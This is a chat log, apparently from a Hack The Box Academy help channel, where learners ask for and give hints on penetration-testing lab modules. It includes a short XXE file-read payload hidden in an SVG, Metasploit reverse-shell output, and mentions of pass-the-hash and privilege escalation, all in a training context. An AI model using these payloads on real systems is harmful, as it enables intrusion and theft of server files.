to add on that, it's usually better to have VPN using UDP, however in the case of hacking and because you do will likely do scanning and other nasty stuff, having a reliable underlay connection is better. In real life, that comes with a trade off of performances

fathom pendant
#

even without switching regions: people have reported increased performance switching from udp -> tcp

covert blade
#

Okay udp was selected by default and I first downloaded using it
I was getting some strange failing connection messages.
I use tcp file now, and it is working like a charm, thanks

#

One last question please

#

I don't quite understand, what is hapenning,
so I'm now connected to the academy server right?
Why do I need this actually?
it is in combination with this "and any section that requires the vpn will have a download for it" ?
so when a section require a vpn I will get a new ovpn file to download ?

full nimbus
#

it's a vpn connection, allows to access HTB labs machine which are not accessible on public internet

fathom pendant
limber river
fathom pendant
#

it's just there to let you know, just in case, that you'll be interacting with a private network

covert blade
#

So now I'm in the HTB internal network right ?

#

after sucessfully runing: sudo openvpn academy-regular.ovpn

fathom pendant
#

yep if you do ip a you should see a tun0 that has an ip such as 10.10.x.x

covert blade
#

Oh excellent 😄
tun1 btw,
tun0 is my expressvpn

#

wow that's so nice

limber river
fathom pendant
#

then tun1 is the interface you'll use whenever "tun0" is referenced

limber river
fathom pendant
#

also paid vpn services are meh

#

if someone really wants to they'll just go through it anyway

limber river
fathom pendant
brave prawn
#

Hey, can I dm someone about Advanced Deserialization Attacks module? Can't make my Json.Net payload work

fathom pendant
#

only time i'd really feel the need to use a vpn is if i'm attacking an online target

limber river
fathom pendant
#

true

#

my example was more personal

#

ik in some countries anything to do with "hacking" is blocked by isps ¯_(ツ)_/¯

covert blade
#

for browsing the web in general , a vpn is also recommended or not ?

fathom pendant
#

not really

#

cookies are what store your browsing data, not really your ip (some of it is tied to it via geo stuff) but in general all of your data is stored in cookies

limber river
fathom pendant
#

if you're browsing to a sussy website; then Yes - for sure - use a vpn as a just in case but at the same time. WHY ARE YOU VISITING SUS WEBSITES

covert blade
#

Allright guys, thanks a lot

#

I'm looking at the HTB VIP features.
Currently I'm pursuing the pentest path.
Will the vip subscription be relevant to this path ?

#

What are these "Retired Machines" for example ?

fathom pendant
#

Retired machines are on the main website

#

they are machines that have writeups available

#

and do not count towards any rank progress on the main site

#

but it's not really needed to learn ¯_(ツ)_/¯

#

you can practice enumeration and techniques on active boxes

limber river
#

but those are in the main platform

fathom pendant
covert blade
#

Can I just create one or is it for VIP member ?

limber river
covert blade
#

Okay I have create an account

#

there is lot of material there also

#

That and the academy is maybe too much for me at the same time 😀

#

I will continue with the academy first

#

or do you guys recommend another way ?

fathom pendant
#

whatever works for you

#

some people learn better without a structure

#

and just google their way through the solution and learning

stoic arrow
#

hi, im stucked in the last part of hacking wp skill assesment (obtain a shell). I would like to know if i can obtain it through the LFI that i already h or need to look for other things. Thx (DONE)

covert blade
fathom pendant
#

the labs are a sort of blackbox almost

#

you just get an IP to scan and a prayer you can figure it out

fallow snow
#

Marcie, could I get your help again please? (You're gonna hate me soon!)

#

I'm trying to use msfconsole to exploit a plugin. Although everytime I run it, I keep getting this error

[*] Started reverse TCP handler on 10.10.15.61:4444 
[-] Exploit aborted due to failure: not-found: Failed to retrieve generator
[*] Exploit completed, but no session was created.

#

I'm assuming my TARGETURI is incorrect? I've changed it to the root of where the || theme || is, and then tried to direct the exploit at the ||template.php|| file too, but no luck.

Reading on ||https://nvd.nist.gov/vuln/detail/CVE-2019-11231|| I don't seem to have a ||theme-edit.php file|| although I have found the ||API Key, but assuming that's to assist with getting Admin access?||

fathom pendant
#

not necessary afaik

#

also iirc you don't need to change anything

covert blade
#

Okay thanks again guys. That was it for me today.
See you tomorrow

fallow snow
#

oh, so just set the RHOSTS and awauy I go?

fathom pendant
#

and LHOST to your ip

fallow snow
#

oh my lord.

#

I'm such an idiot 😄

fathom pendant
fallow snow
#

Noted! Live and learn as they say

oblique spoke
oblique spoke
#

now i got a better termilal

#

and now i got the CT user and hash as well

#

big progress big time

gloomy wraith
#

Investigate the USN Journal located at "C:\Users\johndoe\Desktop\kapefiles\ntfs%5C%5C.%5CC%3A$Extend$UsnJrnl%3A$J" .exe

fallow snow
#

Do I need to add this into a file in order to use this? Or Do i do the sudo command?

A little confused on what I need to do here.

analog dock
#

Copy paste the first line

#

Hit enter

fallow snow
#

Nevermind, I got it!

analog dock
#

Copy paste second line, hit enter

fallow snow
#

Thank you though

native crow
#

Hey Guys , pulling my hair out a little here, Im doing the 'ZAP Fuzzer' part of 'Using Web proxies', i've had no issue setting up the fuzzer with the sec list and the processor to get the MD5 hashes and making the requests however the response is not the cookie which I have set in the request, it is the defualt cookie , I have tried with both GET & POST , any ideas?

quick crane
oblique spoke
full nimbus
next bronze
#

I would be interested to read it but I need an account kekhands

full nimbus
#

you can log with your google account if any

#

but I can also unicast to you if you want

umbral fulcrum
oblique spoke
#

https://www.kali.org/tools/bloodhound/
Is it correctly installed?

full nimbus
# oblique spoke Why?

no I meant, I was able to extract the data, however SQL01 had no user sessions, and no path was found by BH

oblique spoke
#

Hmmmmm

#

Where did you collected the data and what user?

full nimbus
oblique spoke
#

Try it on another computer then

full nimbus
#

thx

snow ridge
#

AD Enumeration & Attacks - Skills Assessment Part I
Last question: Take over the domain and submit the contents of the flag.txt file on the Administrator Desktop on DC01

I completed it using ||impacket psexec and pth attack||, but was there any other ways to do it? If you know other methods just dm me

full nimbus
short gulch
#

You can see the decrypted text in the debugger after the function (in the final question) is executed, since it needs to load the string it wants to encrypt into a stack (Idk if it is called a stack)

supple gorge
supple gorge
dreamy solar
#

Hello

#

I have a problem this exercice : Cross-Site Scripting (XSS) Session Hijacking

#

I send my XSS et I listen with my php

lusty thicket
dreamy solar
#

I don't understand, misplaced? because I tested all the fields ^^"

tulip parrot
#

Hi I understood that the $ in ||dc01$|| is a separator and nor john nor hashcat can work with it. Do You have any tips that could make this $ count in the hash ?

shrewd hazel
#

trying not to give away this answer but i def got this right and HTB is telling me im wrong...

snow ridge
#

AD Enumeration & Attacks - Skills Assessment Part II. Any idea where to go in this step? Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host. I can get to that sql server with impacket tools and even get a reverse shell, but I don't have many privs. SeImpersonatePrivilege is enabled, is that viable way, dont really know anything about how to abuse that yet.

analog dock
#

Fairly sure it’s been discussed in the ad module

tawdry comet
versed river
#

where i will get fraud bible

#

complete one

lusty thicket
#

but let me know if you find fingerguns

versed river
#

what a asked so i11egal

molten prawn
#

okay, that took a while but it was fun and very great content. thanks to the creator

sour ibex
#

Doing the file transfer module and I've uploaded the upload_win.zip to the windows machine but I can't extract it to do the hasher command. It always gives me an invalid archive error. I did find an already extracted file and it's hasher value gives an error. Any idea what's wrong?

shrewd hazel
#

That is the full url

lusty thicket
shrewd hazel
#

Ugh.... really

#

I get everything else right and that's the stupid mistake I made lol

cobalt mesa
#

I'm currently working on the DOM-based XSS portion of the XSS module, specifically targeting the TO-DO website. In the write-up, it mentions, "If we try the XSS payload we have been using previously, we will see that it will not execute. This is because the innerHTML function does not allow the use of the <script> tags within it as a security feature."

I'm curious about the security feature mentioned. I can't find any mention of a security feature from innerHTML that prevents running a <script></script>.

In the script.js that the TO-DO website uses, it doesn't employ any input encoding; however, it does use URL decoding.

Could someone help me understand why you CANNOT run a <script>?

Thanks in advance.

#

I know we are supposed to use another XSS payload, however im only curoius

thorn urchin
#

script elements inserted using innerHTML do not execute when they are inserted.

placid edge
#

Hey, so i am doing the module about ACLs and i have a question that says: What is the ObjectAceType of the first right that the forend user has over the GPO Management group?

I am trying to do this in bloodhound to get to know it a little better. But i cant seem to find a way to see permissions over groups? Is there a way to do this in bloodhound?

thorn urchin
#

bloodhound calls the permissions different things than powershell does sometimes

placid edge
#

my settings are first node: forend user then the end node of the GPO Management group

thorn urchin
#

but youd go to forend and then select the outbound permissions thingy(idr its exact wording)

placid edge
#

yeah i couldnt find it. Trying to see if its easier to do this in powershell

#

or PowerViewer

thorn urchin
#

np

sturdy hearth
#

hey

#

anyone here doing bug hunting or pentesting?

thorn urchin
lime atlas
#

some server down again? machines spawn but give no IP

rustic sage
#

there was some hiccup

fathom pendant
obsidian flower
#

@here please i am new to using hackthebox and need help with understanding how the Kibanna works for the SOC analyst role.@dpgg

potent thorn
#

Hi all. Im currently working through the final question of the nmap module, the firewall and IDS IPS evasion hard lab. Can I pick somones brain to check if I'm on the right lines?

fathom pendant
fathom pendant
#

The other is gonna be a Syn

placid edge
#

Yeah it was def easier. I think i need to read the acl article a few more times just to understand it a bit better. I understand that its a way to limit user action based on domain permissions and groups but thats all i’ve understood so far

#

At least all i can remember now

fathom pendant
placid edge
#

Bloodhound was def good to elevate privledges tho. Understanding the exploit chain better

#

Also it was neat to have that help option to see examples of ways to exploit. Like applyself or genericall ect

potent thorn
placid edge
#

But what confused me a little is that: is a user apart of a group or a group apart of a user. Or i guess it can be both but yeah

potent thorn
#

scratch that

#

let me think on it some more ill come back to you

fathom pendant
sterile epoch
#

So can I only use socks5 with port 1080?
I tried using 7000 but it was not working
I changed the proxy for socks5 in proxychains.conf
socks5 127.0.0.1 7000
It is not working

lusty thicket
sterile epoch
#

So the sock values have to be constant during tunneling?

cedar yew
#

Hello, I was working on solving the Footprint Lab - Hard machine. I connected to the machine via SSH and then discovered MySQL inside the machine. I connected to it, but couldn't find anything. Do you have any suggestions? Where else can I look? I thought I had checked everything thoroughly, but I seem to have missed something.

sterile epoch
#

Like 9050 for socks4 snd 1080 for socks5?

fathom pendant
lime atlas
fathom pendant
#

Just look around for databases @cedar yew

#

show databases; should be your start

lusty thicket
#

should be in your config file also

lime atlas
sterile epoch
cedar yew
fathom pendant
#

Maybe switching your perspective will help

sterile epoch
cedar yew
#

yeap 3 user but we have 1 user

fathom pendant
sterile epoch
# fathom pendant Google

I tried asking gpt it said it will work I think I gotta look for into it
Thanks guys for the help

fathom pendant
#

And if you check the /home/ directory then you'll see what I mean

fathom pendant
sterile epoch
#

Yea but good for asking simple stuff

cedar yew
#

oky im searching

lusty thicket
sterile epoch
#

Ok

cedar yew
lusty thicket
fathom pendant
buoyant escarp
#

Footprinting module is one of my favs

cedar yew
fathom pendant
cedar yew
#

i like this module

fathom pendant
#

It helps reinforce the enumeration methodology

buoyant escarp
cedar yew
#

thx for helping @fathom pendant

fathom pendant
#

My fave skill labs are the password attack ones, specifically the hard one, bouncing back and forth

#

Showcasing the step-by-step break-in

cedar yew
#

Active directory rooms interest me.

buoyant escarp
fathom pendant
#

My biggest thing is the question with Will. But that's just bc it adds an extra layer of "wait who tf is ||kira||"

buoyant escarp
#

Yeah had to brute for 20 minutes on the mutations

thorn urchin
buoyant escarp
#

Poked with a stick

fathom pendant
cedar yew
#

Got it, I'll be careful.

fathom pendant
#

Without the hint you're kinda just stuck for a bit

buoyant escarp
#

Ah got it

thorn urchin
fathom pendant
#

Aside from throwing both wordlists at it ofc

thorn urchin
#

I got top 6% for just doing the holiday event last year

#

and nothing else lmao

thorn urchin
buoyant escarp
#

I quit THM bc its too playful, wanted just pure technicals

#

Htb is 🐐

cedar yew
#

yess thm is a similar game

potent thorn
#

ok so I did what you said using the only logical source port, now i found another port that could be of interest, but using -sSV, or -A flags doesnt return any version results. Should i use a script?

#

Sorry if im asking to much but I am hitting a wall here and I dont know how many more times i can read over my notes ha

fathom pendant
#

Sometimes you need to manually connect to a port

#

Nmap isn't always gonna give the answer

potent thorn
fathom pendant
potent thorn
#

yeah I did the -sS flag btu looks like i forgot a -p- so ill add that

#

yeah i tried with the source port and got same thign, so must be the wrong port i think

fathom pendant
#

Maybe

#

It's a high port number fwiw

#

The ids/ips evasion section regarding proxying will be more helpful

potent thorn
#

yeah it is a pretty port number high number. more than 4 digits, but ill do more digging, thanks for the tips

fathom pendant
#

While it refers to a specific port, the method works to check all

fathom pendant
buoyant escarp
#

Sounds like the dns and nmap evasion part, was pretty fun

fathom pendant
#

Replace the actual port with [port] and paste your command here

#

Wrap it in `

high reef
#

has anyone completed the File upload module ?

#

i'm doing the assessment

wild oriole
#

Hey guys, sorry I'm new here, can any one explain how we can identify the number of transfer zones?
module: INFORMATION GATHERING - WEB EDITION

thorn urchin
#

nope nobody has ever completed the module

buoyant escarp
#

Liar 🤥

buoyant escarp
#

Dig axfr

potent thorn
wild oriole
#

I already run it, but from the output perspective, which lines guides to the zones?

fathom pendant
potent thorn
#

I just did it and it worked, feel so dumb hahaha

potent thorn
potent thorn
upbeat owl
#

Anyone unable to login to the windows server with htb provided credentials? This is for Guided Lab Part 1 under Introduction to Active Directory module

high reef
#

???

solemn lodge
#

im so new at this i cant even find bash in the tutorial

fathom pendant
lusty thicket
rustic sage
gray shoal
#

hello

#

i just registered to htbox and i have 0-1 spawns left so i can continue, when will it refill?

high reef
#

I'm having issues with the file upload assessment

languid wharf
#

Hi, I'm working on the Exploiting Web Vulnerabilities in Thick-Client Applications. It seems like there isn't any solution. When I change the port number in beans.xml and recompile that way, the connect button doesn't change any requests.
If I also delete all the entries in META-INF/MANIFEST, as instructed in the section, and then recompile, I get a JNI error for some reason.
Any suggestions?

gray shoal
#

im new to this im looking for someone to coach me or to guide me, is there anyone?

solemn lodge
# rustic sage ??

idk what im looking for this is what its asking me
"Click the Start Instance button
Try to locate the bash terminal icon and click it"

fathom pendant
#

Free users on academy get one pwnbox spawn per day

high reef
fathom pendant
gray shoal
#

can i ask here alot of questions?

rustic sage
high reef
#

when i upload the .jpg file it works but when i create the shell.svg file it doesn't load at all and i remove the file type and persmissions in the dev console

fathom pendant
rustic sage
high reef
#
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>```
solemn lodge
high reef
#

thats the payload i use

gray shoal
fathom pendant
gray shoal
#

i followed 3 youtube videos in a series to learn linux, of "network chuck"

solemn lodge
fathom pendant
#

Getting Started is a good module to teach you how academy works

#

But on the page, if there's an interactive target, there's green text that says "Click here to spawn target"

#

It won't be in the instance window

solemn lodge
fathom pendant
#

The instance window is just HTB's in-browser vm, Pwnbox

#

Whenever you see pwnbox, it's referring to that vm

high reef
gray shoal
fathom pendant
#

There's none that will guarantee you a job

gray shoal
#

i want to learn how to hack

fathom pendant
#

That's very broad

#

There's web hacking aka bounty hunting, and domain hacking, generally red teaming

#

This is very hostile dude

lusty thicket
#

this made me giggle

gray shoal
#

i am just asking man

fathom pendant
#

Still comes off as edgy and rude

lusty thicket
fathom pendant
#

not everyone has seen the same movies as you to get it ¯_(ツ)_/¯

gray shoal
#

you guys learned a lot of modules from the htbox?

high reef
lusty thicket
fathom pendant
gray shoal
#

can you give me tips on what to do if i just started to make my learning procces efficent

lusty thicket
#

that payload

lusty thicket
high reef
gray shoal
#

i dont know anything ,just some basic commands from some videos and i wrote them in a text file at my desktop as "commands i learned"

lusty thicket
fathom pendant
#

It's a great note taking tool

lusty thicket
gray shoal
#

very motivating

potent thorn
# gray shoal i want to learn how to hack

We are in the same boat my man. It is going to be a long road, ive done a few modules of the pentester pathway now and its pretty good. The job role pathways seem to be good for what you are looking for as they are tailored to getting those specific job titles from what I understand. But I am new to the platform as well.

fathom pendant
#

Tryhackme is very basic but I don't think they really reinforce basics

#

Very hand holding though

gray shoal
fathom pendant
#

Htb active labs are free

potent thorn
fathom pendant
#

Also

compact patrolBOT
fathom pendant
#

Starting-point is also free

#

And guided mode which is the 2? Most recently retired machines

potent thorn
fathom pendant
gray shoal
languid wharf
#

So don't follow any of the instructions of the section, import the jar and use its functions? LOL

potent thorn
rustic sage
#

Anyone wanna help me out? I'm on the skills assessment for shells and payloads and stuck on the last flag. I've tried everyting. I think its a problem with the box. I hate using eternal blue and metasploit. Only seems to work when it wants to .

fathom pendant
#

Yep tier0 modules are "free" as in they will give you the cubes back when you complete it

fathom pendant
gray shoal
rustic sage
#

I've tried both the RDP IP and the IP of of ens224

fathom pendant
fathom pendant
potent thorn
fathom pendant
#

I dont recall having any issues with the exploit

rustic sage
fathom pendant
#

it worked on mine ¯_(ツ)_/¯

lusty thicket
fathom pendant
#

Which one are you trying?

rustic sage
#

I've tried both

#

and resetting the box

lime atlas
#

AAAndd again, server down

#

aaand back up

languid wharf
# fathom pendant Follow the "Fatty" walkthrough

Even when I tried his way, I still had to import the jar file as an external library, and because I want to change the connection information, I still face the same errors when recompiling the jar file with the updates port in beans.xml.

bright quiver
#

Anyone run into this error before …can’t seem to figure out the issue. Installed a new version of OpenSSL too just in case.

proper nacelle
#

For INFORMATION GATHERING - WEB EDITION, Active Infrastructure Identification

Can anyone help explain the:

vHosts needed for these questions:
app.inlanefreight.local
dev.inlanefreight.local

#

I don't really understand how adding these changes what my whatweb results are

#

For context, I did some reserach and saw that I had to add these to a /etc/hosts file, I was just looking for a futher understanding since for he pentesting path this is the first time that I have interfaced with doing something like this.

lusty thicket
proper nacelle
proper nacelle
#

How does that work with them both being tied to the same IP? I am just trying to fully understand

#

When i ran whatweb for app.inlanefreight.local it ran, but then when i ran the command again for the dev version it never finished

lusty thicket
proper nacelle
#

Yeah that was my main point of confusion after I had added both of those domains to the hosts file since one ran and the other didnt i thought that I had incorrectly added data into the file, and also failed to fully undertstand the whole adding vhosts idea and those domains

proper nacelle
rustic sage
bright quiver
rustic sage
bright quiver
spiral quiver
#

hey im currently stuck on a box in htb called devvortex , i want to ask for help can i do it here , i already tried the forum but not much help ful

spiral quiver
#

okay is there a community that i can ask help ?

proper nacelle
#

Can anyone help me understand when I am using dig, how can i tell which zones I can transfer to? Or do i have to manually try each and every one?

fathom pendant
proper nacelle
fathom pendant
#

It's across any network regardless of type

proper nacelle
proper nacelle
fathom pendant
#

Nameserver won't be able to be transferred

proper nacelle
fathom pendant
#

But you should have enough info with what's available to answer it

proper nacelle
bright quiver
heavy marsh
#

Active Directory Bleeding Edge Vulnerabilities section: Unable to git clone.

tired wedge
#

does anyone know how to adjust VirtualBox VM screen resolution?

#

Its so big for me, I tried to change it in Setting -> Display -> Scale factor but doesn't do anything at all

hidden trellis
#

is there any reason why a windows 10 vm work on a windows 11 host?

fathom pendant
#

Same underlying structure

thorn urchin
fathom pendant
#

Also that

thorn urchin
#

ah yeah lab machine too

fathom pendant
#

Ye as soon as I saw htb-student I was like "lab machine"

heavy marsh
#

Got it, it was in the /opt/ folder

#

I am having an issue with this though, it won't read the flag

#

Even with a full path

sleek moss
#

how do i access + 0 Check the /tmp directory and find Julio's Kerberos ticket (ccache file). Import the ticket and read the contents of julio.txt from the domain share folder \DC01\julio. in password attacks linux

heavy marsh
#

Even tried to DCSync

#

Just says "cleaning up"

next bronze
#

why would dcysnc give you the flag?

next bronze
heavy marsh
#

I've tried the type command, but it says the file could not be found.

next bronze
#

read the question

heavy marsh
#

What is the point of DCSync? I thought I would at least be able to get a shell.

fathom pendant
#

Dcsync can get you hashes

#

Hashes are great

barren slate
#

Why does this get me to the EIP

r python -c 'import sys; sys.stdout.buffer.write(b"\x55" * 2060 + b"\x66" * 4)'

But this doesnt??

r python -c 'import sys; sys.stdout.buffer.write(b"\x55" * (2064 - 4) + b"\x66" * 4)'

Am i going crazy lol

heavy marsh
#

and hashcat exhausted

fathom pendant
#

The nt is generally what's used to pass around

heavy marsh
#

Should this be crackable with rockyou?

#

I tried both NT and LM

fathom pendant
#

pass around

next bronze
#

and the lm hash is a blank hash, there's no point trying to crack that

fathom pendant
#

think of the different things a hash can be used for

wintry pine
#

Ok so I took a step back and went to "Getting Started" and am under the Basic Tools module. I reaaalllly want to understand why I cant get the bonus question. I have the target IP and have tried netcat but still cant seem to Banner Grab the target. Am I supposed to try and get a Host name first?

fathom pendant
#

nope

#

and what section?

heavy marsh
fathom pendant
#

oh basic tools

heavy marsh
#

I'm kind of aware of how it works.

wintry pine
fathom pendant
#

Modules are divided into sections

#

Netcat is the way to go

#

You're given an ip:port

#

The syntax is
nc ip port

wintry pine
fathom pendant
wintry pine
fathom pendant
#

the syntax given is
netcat ip port

wintry pine
fathom pendant
#

Yes. That's an example

sleek moss
#

hi guys kali linux wont show me the login it just starts up and goes blank how ot fix

fathom pendant
#

But the device you're given is giving you an explicit port

fathom pendant
wintry pine
fathom pendant
#

Yes

#

The target is given in the format ip:port

wintry pine
#

........ah

fathom pendant
#

I said this earlier

fathom pendant
wintry pine
# fathom pendant This

Just worked!!! Sorry. sometimes I cant tell if "ip:port" is an example of a command or the format in which some information is being given.

fathom pendant